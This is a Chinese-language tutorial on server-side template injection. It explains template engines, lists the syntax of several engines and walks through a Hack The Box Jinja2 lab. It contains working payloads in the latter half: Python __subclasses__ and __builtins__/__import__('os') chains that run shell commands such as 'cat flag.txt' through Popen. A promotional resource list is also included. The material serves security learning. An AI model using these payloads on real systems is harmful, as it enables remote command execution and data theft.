是为了使 用户界面和 业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的HTML代码,模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中,然后反馈给浏览器,呈现在用户面前
当前的主流框架,一般都采用MVC模式,即:Model-View-Controller,用户的输入先进入Controller控制器,然后根据清流类型和请求的指令发送给对应的Model业务模型,由Model层进行业务逻辑的判断、数据库的存取等,最后把结果返回给View视图层,再经模板引擎的渲染展示给用户
模板引擎的基本机理就是替换(转换):将指定的标签转换为需要的业务数据;将指定的伪语句按照某种流程来变换输出
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
引用一段代码来简单说一下:
// 模板
var template = 'Hello,my name is <%name%>.I am <%age%> years old.
';
// 用于匹配的正则
/*
用于过滤出以<%开头,%>结尾,并且中间不包含%或>的匹配项
其目的在于过滤出template中的 <%name%> 和 <%age%>
*/
var regex = /<%([^%]+)?%>/g;
// 数据
var data =
{
name:'Deutsh',
age:22
}
// 模板引擎
var TemplateEngine = function (template,data)
{
// exec使用全局正则表达式意味着在循环中使用,因为它仍然会检索所有匹配的子表达式
// /regex/.exec()仅返回找到的第一个匹配项
while (match = regex.exec(template))
{
template = template.replace(match[0],data[match[1]])
}
return template;
}
// 最终的执行在此处
var string = TemplateEngine(template,data)
console.log(string)
上述代码,我们的目的是:将数据文件中对应的name和age替换到模板文件中
主要的执行在模板引擎的while函数中,match = regex.exec(template)
会返回一个array
,这个数组中包含了连个项目
⚠️ 为什么会包含两项呢:当正则表达式设置 g
标志位时,可以多次执行 exec
方法来查找同一个字符串中的成功匹配
之后template = template.replace(match[0],data[match[1]])
等同于template = template.replace("<%name%>",data["name"])
完成模板中数据的替换
由前面模板代码安利的演示,我们可以发现,若服务端接受了用户的输入后(比如对于上述案例,data的name和age的数据由数据的输入/提交/请求而得),未经任何处理就将其作为Web应用模板内容的一部分,就会导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句,从而可能导致信息泄露、代码执行等问题
凡是使用模板的地方,SSTI是绕不过的问题,模板引擎可由多种语言实现,所以SSTI也就出现在了多种语言环境中
模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
Twig
模板变量:{{%s}}
Smarty
模板变量:{%s}
Blade
模板变量:{{%s}}
Jinja2
模板变量:{{%s}}
Tornado
模板变量:{{%s}}
Django
模板变量:{{ }}
FreeMarker
模板变量:<#%s>``${%s}
Velocity
模板变量:#set($x=1+1)${x}
模板引擎众多,各个模板引擎的语法也不尽相同,我们最主要的是能定位出是否存在SSTI漏洞,至于后续的利用,我们掌握一些,其余的见到再查即可
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI
此处我们拿来bmjoker师傅提供的一段示例代码
Twig模板引擎示例代码
render("Hello {{name}}", array("name" => $_GET["name"]));
// 将用户输入作为模版变量的值
echo $output;
?>
这段代码中,由于模板引擎一般都会默认对渲染的变量值进行编码和转义。所以一般情况下并不会存在XSS等攻击的可能
若就如我们最开始的例子所说,若模板引擎渲染的内容受我们控制了,就不一定了
// 上述代码基本内容不变,$output后的内容发生变化
$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
此时render函数由于缺少第二个参数,所以直接就会把"Hello 用户的输入"
拼如模板进行渲染,这就相当于改变了最初的模板,由于模板最初是由开发者定义的,所以他会受到“信任”
对于Twig模板的变量{{%s}}除了传递变量外,还可以执行表达式,最简单的表达式就是{{2*2}}
,这也是辨认是否存在SSTI最基本的指纹,若我们输入{{2*2}}
,HTML页面返回其其结果4,就说明该表达式被解析,存在SSTI
我们以HTB上的一个靶场来演示一下该漏洞的判断与利用
题目直接提示我们本体使用的模板引擎为**Jinja2
**,根据我们之前总结的各个模板引擎的变量类型,我们可以知道该变量的类型是 {{%s}}
,所以话不多说我们直接拼接尝试
2*2被计算,确认存在SSTI模板注入
本题的重点还是在利用方面:由于我们的目标是读取处于服务器本地的一个存有Flag的文件,所以我们的重点是找到一个含有某种读取文件的函数的类(Python中),我们通过查阅手册发现可以利用Popen
函数完成该功能,调用该函数会返回一个文件的句柄,然后再配合read()函数读取即可
该函数会执行fork
一个子进程执行command
这个命令,同时将子进程的标准输出通过管道连接到父进程,对于文件在父进程调用read()读取即可,对于命令在父进程会被执行
那么下面的重点就是,如何找到Popen
这个函数所属的类,一般有两种方法,我们先说第一种
由于我们想要找的是一个子类,所以第一步即使找到其对象基类 即class 'object'
,为了达到这步,我们可以使用__mro__
属性来访问对象的继承类,但我们目前没有对象,所以这里我们就构造一个空字符串:
{{"".__class__.__mro__}}
其中__class__
用于返回调用的参数类型
可以看出该子类继承自class'str'
与class 'object'
并以一个元组返回,我们通过索引获得对象类
{{"".__class__.__mro__[1]}}
接下来,我们要列举出所有集成自object的子类,通过对该对象调用__subclasses__
方法
{{"".__class__.__mro__[1].__subclasses__()}}
但这有一个明显的缺点就是,好家伙,这么多子类,怎么可能找得到,为了缩小范围我们对其进行切片
{{"".__class__.__mro__[1].__subclasses__()[400:]}}
查找400个以后的元素
成功定位其位置,处于滴414号位置
{{"".__class__.__mro__[1].__subclasses__()[414]}}
然后我们为该函数传递参数调用即可
{{"".__class__.__mro__[1].__subclasses__()[414]("ls",shell=True,stdout=-1).communicate()}}
Popen.communicate()
与进程交互:将数据发送到标准输入。从 stdout 和 stderr 读取数据,直到到达文件结尾
之后我们直接cat
他就看见啦~~~~
{{"".__class__.__mro__[1].__subclasses__()[414]("cat flag.txt",shell=True,stdout=-1).communicate()}}
__dict__
:保存类实例或对象实例的属性变量键值对字典
__class__
:返回调用的参数类型
__mro__
:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类
__bases__
:返回类型列表 寻找基类
__subclasses__
:返回object的子类
__init__
:类的初始化方法
__globals__
:函数会以字典类型返回当前位置的全部全局变量 与func_globals
等价
这里我们还有一种方法,使用全局下的内置模块引用__builtins__
(指向__builtin__
)
在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载 该内建函数到内存
{{"".__class__.__bases__[0].__subclasses__()[1500].__init__.__globals__['__builtins__']['__import__']("os").popen("cat flag.txt").read()}}
同样,我们获取基本类后,继续向下获取基本类(object)的子类,然后init
初始化类,globals
全局来查找所有的方法及变量和参数并查看其内建模块的引用
使用内建模块中的__import__
引入os
库,并适用其中的popen
函数读取flag.txt
即可
注意:
该exp中,对子类的选择subclasses()[1500]
时,经测试大多数子类中都包含内建模块的引用,但依旧有不少不包含,要注意
遍历出(以下截图中Payload的子类号都可以引用,具有**__builtins__
**)